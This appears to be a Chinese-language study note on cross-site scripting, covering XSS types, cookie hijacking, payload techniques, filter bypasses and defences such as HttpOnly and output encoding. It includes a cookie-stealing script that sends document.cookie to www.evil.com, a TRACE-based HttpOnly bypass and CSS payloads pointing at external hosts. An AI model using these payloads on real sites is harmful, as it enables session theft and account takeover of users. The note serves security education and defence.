XSS(Cross Site Script)跨站脚本攻击,通常指黑客通过“HTML”注入篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。
XSS分类
1.反射型XSS(非持久型XSS)
当用户访问一个带有XSS代码的URL请求时,服务器端接收数据后处理,然后把带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞。举一个例子:
<?php
$username=$GET_['username'];
echo $username;
?>
那么我们可以提交:
username=<script>alert(1)</script>
这样就造成了漏洞利用,alert(1)处可以改为其他更有危害的js代码,比如把cookie发给攻击者。
2.存储型XSS(持久型XSS)
存储型XSS会把用户输入的数据“存储”在服务器端。允许用户存储数据的Web应用程序都可能会出现存储型XSS漏洞。当攻击者提交一段XSS代码后,被服务器端接收并存储,当攻击者再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击,这就是存储型XSS。
3.DOM XSS
DOM(Document Object Model)文档对象模型。通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。基于DOM型的XSS是不需要和服务器端交互的,它只发生在客户端处理数据阶段,比如:
<script>
var temp=document.URL;
var index=document.URL.indexOf("Content=")+4;
var par=temp.substring(index);
document.write(decodeURI(par));
</script>
如果输入如下就会产生XSS漏洞:
http://www.secbug.org/dom.html?content=<script>alert(/xss/)</script>
其实DOM XSS从效果上来说也是反射型XSS。
XSS利用
这边先补充一下手动检测XSS漏洞的时候如何迅速获得输出的位置。一般我们是输入以下敏感字符,例如:
< > " ' ()
等等,在提交请求后查看HTML源代码,看这些输入的字符是否被转义。在输出这些敏感字符时,很有可能程序已经做了过滤,这样在寻找这些字符时就不太容易,这时可以输入
AAAAA<>"'&
字符串,然后在查找源代码的时候直接查找AAAAA或许比较方便。
Cookie劫持
HTTP是无状态的,所以Web服务器需要额外的数据用于维护会话。Cookie正是一段随HTTP请求、响应一起被传递的额外数据,它的主要作用是标识用户、维护会话。
1.Cookie的分类:
Cookie按照在客户端中存储的位置,可分为内存Cookie和硬盘Cookie。内存Cookie由浏览器维护,保存在内存中,浏览器关闭后就消失,其存在时间是短暂的。硬盘Cookie保存在硬盘里,有一个过期时间,除非用户手动清理或到了过期时间,否则硬盘Cookie不会被删除,其存在时间是长期的。所以,Cookie也可分为持久Cookie和非持久Cookie。
2.Cookie格式
Set-Cookie: <name>=<value>[; <Max-Age>=<age>][; expires=<data>][;domain=<domain_name>][; path=<some_path>][; secure][; HttpOnly]
各选项含义:
1.name=value:必须要有的,在字符串“name=value”中,不含分号、逗号和空格等字符。
2expires=date:Expires确定了Cookie的有效终止日期,该属性值date必须以特定的格式来书写。该变量可省,如果缺省,则Cookie的属性值不会保存在用户的硬盘中,而仅仅保存在内存中,Cookie将随浏览器的关闭而自动消失。
3.domain=domain-name:Domain变量确定了哪些Internet域中的Web服务器可读取浏览器存储的Cookie,即只有来自这个域的页面才可以使用Cookie中的信息。这项设置是可选的,如果缺省,值为该Web服务器的域名。
4.path=path:Path属性定义了Wen服务器上哪些路径下的页面可获取服务器发送的Cookie。如果Path属性的值为“/”,则Web服务器上所有的WWW资源均可读取该Cookie。同样,该项设置是可选的,如果缺省,则Path的属性值为Web服务器传给浏览器的资源路径名。
5.Secure:在Cookie中标记该变量,表明只有当浏览器和Web Server之间的通信协议为加密认证协议时,浏览器才向服务器提交相应的Cookie。当前这种协议只有一种,即为HTTPS。
6.HTTPOnly:禁止JavaScript读取。
Cookie中的大部分内容经过了加密处理。
补充:在BurpSuite中,选择Proxy——>Options——>Match and Replace中可以使用者则表达式匹配Cookie字段并进行替换。
有些开发者使用Cookie时,不会当作身份验证来使用,比如,存储一些临时信息。这时,即使黑客拿到了Cookie也是没有用处的、并不是说只要有Cookie,就可以“会话劫持”。
3.Cookie劫持的例子
例如:攻击者先加载一个远程脚本:
http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js ></script>
真正的XSS Payload写在这个远程脚本中,避免直接在URL的参数里写入大量的JavaScript代码:
#evil.js
var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
escape()函数可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。
4.Cookie劫持的防御
这里简单说一下两种防御:一是HTTPOnly,二是把Cookie与客户端IP绑定,具体在XSS防御中解释。
5.Session
除Cookie之外,维持会话状态还有一种形式是Session。Session机制是一种服务器端的机制,服务器使用一种类似于散列表的结构来保存信息。Web中的Session是指用户在浏览某个网站时,从进入网站到浏览器关闭所经过的这段时间,也就是一次客户端与服务器端的“对话”,被称为Session,当浏览器关闭后,Session自动注销。
服务器区别用户依靠的就是SessionID,。如果服务器关闭或者浏览器关闭,Session将自动注销,当用户再次连接时,将会重新分配。
SessionID可以存储在Cookie中:
# HTTP Request
Cookie:PHPSESSID=2ns18......
# HTTP Response
Set-Cookie:JSESSIONID=2ns18......
SessionID也可以在URL中呈现:
http://www.xxser.com/user.action;jsessionid=2ns18...
Session与Cookie的最大区别在于,Cookie是将数据存储在客户端,而Session则是保存在服务器端,仅仅是在客户端存储一个ID。相对来说,Session比Cookie要安全。
XSS Payload
XSS不仅可以劫持Cookie,还可以进行以下攻击:
1.构造GET和POST请求
GET请求就不说了,之前通过设置<img>的src属性发的包就是GET包,POST包我们常常有两种方法:
#构造DOM节点(当然,你也可以直接写一个表单)
var dd = document.createElement("div");
document.body.appendChild(dd);
dd.innerHTML = '<form action="" method="post" id="xssform" name="mbform">'+
'<input type="hidden" value="JiUY" name="ck" />'+
'<input type="text" value="testtesttest" name="mb_test" />'+
'</form>'
document.getElementById("xssform").submit();
#通过XMLHttpRequest发送一个POST请求
var url="http://www.douban.com";
var postStr="ck=JiUY&mb_text=test1234";
var ajax=null;
if(window.XMLHttpRequest){
ajax=new XMLHttpRequest();
}
else if (window.ActiveXObject){
ajax=new ActiveXObject("Microsoft.XMLHTTP");
}
else{
return;
}
ajax.open("POST",url,true);
ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
ajax.send(postStr);
ajax.onreadystatechange=function(){
if(ajax.readyState==4&&ajax.status==200){
alert("Done!");
}
}
2.XSS钓鱼
上述单纯的发表单时不够的,比如可能需要用户输入验证码之类的,这时候需要其他步骤的辅助。
对于验证码,XSS Payload可以通过读取页面内容,将验证码的图片URL发送到远程服务器上来实施——攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload,从而绕过验证码。
如果通过“钓鱼”获得用户的密码呢?可以利用JavaScript在当前页面上“画出”一个伪造的登录框,当用户在登陆框中输入用户名和密码后,其密码将被发送至黑客的服务器上。
3.识别用户浏览器
XSS可以通过读取浏览器的UserAgent对象从而识别浏览器版本:
alert(navigator.userAgent);
但是其实浏览器的UserAgent对象是可以伪造的,所以通过JavsScript取出来的这个浏览器对象,信息并不一定准确。
另一种靠谱的方式是识别浏览器之间的实现存在的差异,从而推断出浏览器版本,即指纹识别的方式。代码参考《白帽子讲Web安全》第54页。
4.识别用户安装的软件
Firefox的插件(Plugins)列表存放在一个DOM对象中,直接查询“navigator.plugins”对象就可以找到所有插件了。
而Firefox的扩展则可以通过检测扩展的图标来判断某个特定的扩展是否存在。在Firefox中有一个特殊的协议:chrome:// ,Firefox的扩展图标可以通过这个协议被访问到。比如Flash Got扩展的图标,可以这样访问:
chrome://flashgot/skin/icon32.png
那么XSS Payload可以构造如下:
var m=new Image();
m.onload=function(){
alert(1);
};
m.onerror=function(){
alert(2);
};
m.src="chrome://flashgot/skin/icon32.png";
5.CSS History Hack
利用的是style的visited属性:如果用户曾经访问过某个链接,那么这个链接的颜色会变得与众不同。POC在《白帽子讲Web安全》第58页。
6.获取用户的真实IP地址
当用户使用了代理服务器或者NAT时候,网站看到的IP地址其实是内网的出口IP地址,而并非用户电脑真实的本地IP地址。JavaScript本身并没有提供获取本地IP地址的能力,可以借助第三方软件来完成。比如,客户端安装了Java环境(JRE),那么XSS就可以通过调用Java Applet的接口获取客户端的本地地址。
7.XSS GetShell
通过XSS来getshell是难以实现的。
在DedeCMSV57-GBK-SP1中,用户在评论的时候传入的表单并没有title字段,但是在后端的PHP程序中突然冒出来一个$title变量,并且使用addslashes()函数过滤后赋值给变量$arctitle。
addslashes()函数会在指定的预定义字符前添加反斜杠,其中的预定义字符包括单引号(')、双引号(")、反斜杠(\)、NULL。但是addslashes()函数经常是用来过滤SQL注入的,对XSS并没有防御作用。
所以,$arctitle的值就被插入了数据库中,造成存储型XSS漏洞。但是,$title变量的值会出现在评论管理页面,当管理员访问的时候就会触发这个XSS Payload。
DedeCMS有一个模块就是在线文件管理,可以新建、编辑和删除文件。而新建文件本质上就是发一个POST包,所以将XSS Payload构造为发送编辑木马文件的POST包,就可以植入Webshell了。
8.XSS蠕虫
这个就不细讲了,和普通XSS不一样的是除了达成攻击目的,还将受害者变成感染源继续传播。
XSS构造技巧与各种绕过姿势
1.利用字符编码
有这个一个情况,在<script>标签中输出了一个变量,这个变量处于双引号当中并且转义了双引号,所以按理说不会出现XSS漏洞:
var redirectUrl="\";alert(/xss/);"
但是,其返回的页面是GBK/GB2312编码的,因此“%c1\”这两个字符组合在一起后会变为一个Unicode字符,在Firefox下会认为这是一个字符,随哟可以构造如下PayLoad:
%c1";alert(/xss/);//
这样就成功逃离了双引号,绕过系统的安全检查。
2.绕过长度限制
很多时候,产生XSS的地方会有变量的长度限制,这个限制可能是服务器端逻辑造成的,假设下面代码存在一个XSS漏洞:
<input type=text value="$var" />
服务器端如果对输出变量“$var”做了严格的长度限制,那么攻击者的XSS PayLoad可能会被截断,就无法完成攻击。对此,攻击者可以利用事件(Event)来缩短所需要的字节数:
一般的XSS PayLoad:
<input type=text value=""><script>alert(/xss/)</script>" />
改进后如下:
<input type=text value="" onclick=alert(1)//"/>
当然还可以把XSS PayLoad写在别处引用。最常用的一个隐藏的地方是“location.hash”,即url中锚的部分,也就是从#开始的部分。而根据HTTP协议,location.hash的内容不会在HTTP包中发送,所以服务器端的Web日志中并不会记录下location.hash里的内容,从而也更好地隐藏了黑客真实的意图:
<input type=text value="" onclick="eval(location.hash.substr(1))" />
对应的url为:
http://www.a.com/test.html#alert(1)
除了上述方法可以绕过长度限制,还可以使用注释符:
比如我们能控制两个文本框,第二个文本框允许写入更多的字节。此时可以利用HTML的“注释”符号,把两个文本框之间的HTML代码全部注释掉:
打通前:
<input id=1 type="text" value="" />
xxxxxxxxxx
<input id=2 type="text" value="" />
打通后:
<input id=1 type="text" value=""><!--" />
xxxxxxxxxx
<input id=2 type="text" value="--><script>alert(/xss/);</script>" />
这样第一个input框中输入的字符其实是很少的!
3.使用<base>标签
<base>标签的作用是定义页面上的所有使用“相对路径”标签的hosting地址。比如:
<body>
<base href="http://www.google.com">
<img src="/intl/en_ALL/images/srpr/logolw.png">
</body>
这张图片的实际地址为:
http://www.google.com/intl/en_ALL/images/srpr/logolw.png
<base>标签可以出现在页面的任何地方,并作用于位于该标签之后的所有标签。
那么,攻击者如果在页面中插入了<base>标签,就可以通过在远程服务器上伪造图片、链接或脚本,劫持当前页面中的所有使用“相对路径”的标签。所以在设计XSS安全方案时,一定要过滤掉这个非常危险的标签。
4.window.name的妙用
window对象是浏览器的窗体,而并非document对象,因此很多时候window对象不受同源策略的限制。攻击者利用这个对象,可以实现跨域、跨页面传递数据。
www.a.com/test.html的代码如下:
<body>
<script>
window.name="test";
alert(document.domain+" "+window.name);
window.location="http://www.b.com/test1.html";
</script>
</body>
www.b.com/test1.html的代码如下:
<body>
<script>
alert(document.domain+" "+window.name);
</script>
</body>
可以发现自动跳转www.b.com/test1/html后window.name的值仍然为test,实现了数据的跨域传输。
使用window.name可以缩短XSS Payload的长度,比如:
<script>
window.name="alert(document.cookie)";
location.href="http://www.xssedsite.com/sxxed.php";
</script>
在同一窗口打开XSS的站点后,只需通过XSS执行以下代码即可:
eval(name);
5.一些其他情况
参考《白帽子讲Web安全》82页
补充:第三方Cookie是指保存在本地的Cookie,也就是服务器设置了expire时间的Cookie。
XSS防御
1.HttpOnly
浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie。严格地说,HttpOnly并非为了对抗XSS,HttpOnly解决的是XSS后的Cookie劫持攻击。
但是曾经出现过一些能够绕过HttpOnly的攻击方法:
Apache支持的一个Header是TRACE方法,一般用于调试,它会将请求头作为HTTP Response Body返回。利用这个特性,可以把HttpOnly Cookie读出来:
<script type="text/javasscript">
<!--
function sendTrace(){
var xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE","http://foo.bar",false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
}
//-->
</script>
<INPUT TYPE=BUTTON OnClick="sendTrace();" VALUE="Send Trace Request">
2.输入检查
输入检查的逻辑,必须放在服务器端代码中实现。因为在客户端中使用JavaScript进行输入检查很容易被绕过。客户端中的检查主要用于阻止正常用户的错误操作,从而节约服务器资源。
在XSS的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如<、>、'、"等。如果发现存在特殊字符,则将这些字符过滤或者编码。
比较智能的“输入检查”,可能还会匹配XSS的特征。比如查找用户数据中是否包含了“<script>”、“javascript”等敏感字符。
这种其实就是XSS Filter。但是此时用户数据并没有结合渲染页面的HTML代码,因此XSS Filter对语境的理解并不完整。
XSS Filter还有一个问题,就是对特殊字符的处理可能会改变数据的语义,比如:
用户输入的昵称如下:
$nickname='我是"天才"'
如果在XSS Filter中对双引号进行转义:
$nickname='我是\"天才\"'
在HTML代码中展示时:
<div>我是\"天才\"</div>
在JavaScript代码中展示时:
<script>
var nick='我是\"天才\"';
document.write(nick);
</script>
前者的结果是: 我是"天才"
后者的结果是: 我是"天才"
3.输出检查
一般来说,除了富文本的输出外,在变量输出到HTML页面时,可以使用编码或转义方式来防御XSS攻击。
编码分为很多种,针对HTML代码的编码方式是HTMLEncode:
& --> &
< --> <
> --> >
" --> "
' --> ' '不推荐
/ --> /
在PHP中,有htmlentities()和htmlspecialchars()两个函数可以满足要求。
针对JavaScript的编码方式可以使用JavaScriptEncode:
JavaScriptEncode需要使用“\”对特殊字符进行转义,还要求输出的变量必须在引号内部,以避免造成安全问题。可以比较一下:
var x=escapeJavascript($evil);
var y='"'+escapeJavascript($evil)+'"';
如果escapeJavascript()函数只转义了几个危险字符,比如'、"、<、>、\、&、#等,那么上面的两行代码输出后可能会变成:
var x=1;alert(2);
var y="1;alert(2)";
第一行执行了JavaScript代码,而第二行是安全的。
可以使用一个更加严格的JavascriptEncode函数来保证安全——除了数字、字母外的所有字符,都使用十六进制“\xHH”的方式进行编码,如此代码可以保证是安全的。白帽子的第96页有实例。
还有很多其他的各种情况下的编码函数,比如:XMLEncode、JSONEncode等。需要注意的是,编码后的数据长度可能发生改变,从而影响某些功能。
4.正确地防御XSS
如果网站使用了MVC架构,那么XSS就发生在View层——在应用拼接变量到HTML页面时产生。所以在用户提交数据处进行输入检查的方案,其实并不是在真正发生攻击的地方做防御。
下面分场景考虑(变量“$var”表示用户数据):
在HTML标签中输出:
<div>$var</div>
<a href=# >$var</a>
利用方法:
<div><script>alert(/xss/)</script></div>
<a href=# ><img src=# onerror=alert(1) /></a>
防御方法是对变量使用HtmlEncode。
在HTML属性中输出:
<div id="abc" name="$var" ></div>
利用方法:
<div id="abc" name=""><script>alert(/xss/)</script><"" ></div>
防御方法也是采用HtmlEncode。
这里补充一下,在OWASP ESAPI中推荐了一种更严格的HtmlEncode——除了字母、数字外,其他所有的特殊字符都被编码成HTMLEntities:
String safe=ESAPI.encoder().encodeForHTMLAttribute(request.getParameter("input"));
在<script>标签中输出:
在<script>标签中输出时,首先应该确保输出的变量在引号中:
<script>
var x="$var";
</script>
利用方法则需要先闭合引号:
<script>
var x="";alert(/xss/);//";
</script>
防御时使用JavascriptEncode。
在事件中输出:
<a href=# onclick="funcA('$var')" >test</a>
利用方式:
<a href=# onclick="funcA('');alert(/xss/);//')" >test</a>
防御时使用JavascriptEncode。
在CSS中输出:
这种情况比较多样化:
<STYLE>@import'http://ha.ckers.org/xss.css';<STYLE>
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
<XSS STYLE="behavior:url(xss.htc);">
<STYLE>li {list-style-image:url("javascript:alert('xss')");}</STYLE><UL><LI>XSS
<DIV STYLE="background-image:url(javascript:alert('XSS'))">
<DIV STYLE="width:expression(alert('XSS'));">
所以尽可能禁止用户可控制的变量在“<style>标签”、“HTML标签的style属性”以及“CSS文件”中输出。如果一定有这样的需求,则推荐使用OWASP ESPAI中的encodeForCSS()函数。
在地址中输出:
<a href="http://www.evil.com/?test=$var" >test</a>
<a href="$var" >test</a>
利用方法:
<a href="http://www.evil.com/?test=" onclick=alert(1)"" >test</a>
<a href="javascript:alert(1);">test</a>
<a href="data:text/html;base64 PHNjcmlwdD5hbGVydCggxKTs8L3NjcmlwdD4=">test</a>
对于第二种利用方法,除了“javascript”作为伪协议可以执行代码外,还有“vbscript”、“dataURI”等伪协议可能导致脚本执行。
对于第三种利用方法,使用了“dataURI”伪协议,这是Mozilla所支持的,能够在一段代码写在URL里。这段代码的意思是,以text/xml的格式加载编码为base64的数据,加载完成后实际上是:
<script>alert(1)</script>
如果用户能控制整个URL,那么应该先检查变量是否以“http”开头,如果不是则自动添加,以保证不会出现伪协议类的XSS攻击。在此之后,再对变量进行URLEncode。注意:严格的URLEncode函数不能作用于整个URL,否则会把协议部分和域名部分的“://”、“.”等都编码掉。
5.处理富文本
用户提交的一些自定义的HTML代码成为富文本。比如一个用户在论坛里发帖,帖子的内容里要有图片、视频、表格等,这些富文本的效果都需要通过HTML代码来实现。
由于富文本是完整的HTML代码,在输出时也不会拼凑到某个标签的属性中,因此可以特殊处理。
在过滤富文本时,“事件”应该被严格禁止。还需要避免一些危险的标签,比如<iframe>、<script>、<base>、<form>等。在标签、属性和事件(万一需要使用)的选择上,建议使用白名单。同时应该尽可能地禁止用户自定义CSS与style。如果一定要允许用户自定义样式,则是能像过滤“富文本”一样过滤“CSS”。这需要一个CSS Parser对样式进行智能分析,检查器中是否包含危险代码。
6.防御DOM Based XSS
DOM Based XSS与之前不同的地方在于:其是从JavaScript中输出数据到HTML页面里。而前文提到的方法都是针对“从服务器应用直接输出到HTML页面”的XSS漏洞,因此并不适用于DOM Based XSS。比如以下这个例子:
<script>
var x="$var";
document.write("<a href=' "+x+" ' >test</a>");
</script>
第一想法是$var出现在了js中,那么需要javascriptEncode,但是因为$var会通过document.write拼接到HTML页面中,故仍然可能产生XSS漏洞:
<script>
//x=" 'onclick=alert(1);//"
var x="\x20\x27onclick\x3dalert\x281\x29\x3b\x2f\x2f\x27";
document.write("<a href=' "+x+" ' >test</a>");
</script>
其原因在于在<script>标签执行时,已经对变量x进行了解码(js解码),其后doncument.write再运行时,其参数就变成了:
<a href=' 'onclick=alert(1)//'' >test</a>
另一种想法是对$var使用HtmlEncode:
<script>
//x=1");alert(2);//"
var x="1");alert(2);//"";
document.write("<a href=# onclick='alert(\""+x+"\")' >test</a>");
</script>
渲染结果如下,点击tets会执行两次alert:
至于为啥能成功,参考:
https://zhuanlan.zhihu.com/p/59391832
https://www.hacking8.com/MiscSecNotes/encode.html
正确的处理方式是:在$var输出到<script>时,应该执行一次javascriptEncode;其次,在document.write输出到HTML页面时,要分具体情况看待:如果是输出到事件或者脚本,则要再做一次javascriptEncode;如果是输出到HTML内容或者属性,则要做一次HtmlEncode。
容易触发DOM Based XSS的地方:
//从JavaScript到HTML页面的必经之路
document.write()
document.writeIn()
xxx.innerHTML=
xxx.outerHTML=
innerHTML.replace
document.attachEvent()
window.attachEvent()
document.location.replace()
document.location.assign()
...
//还有一些其它地方
页面中所有的inputs框
window.location(href、hash等)
window.name
document.referrer
document.cookie
localstorage
XMLHttpRequest返回的数据
...
参考书籍:
《白帽子讲Web安全》
《Web安全深度剖析》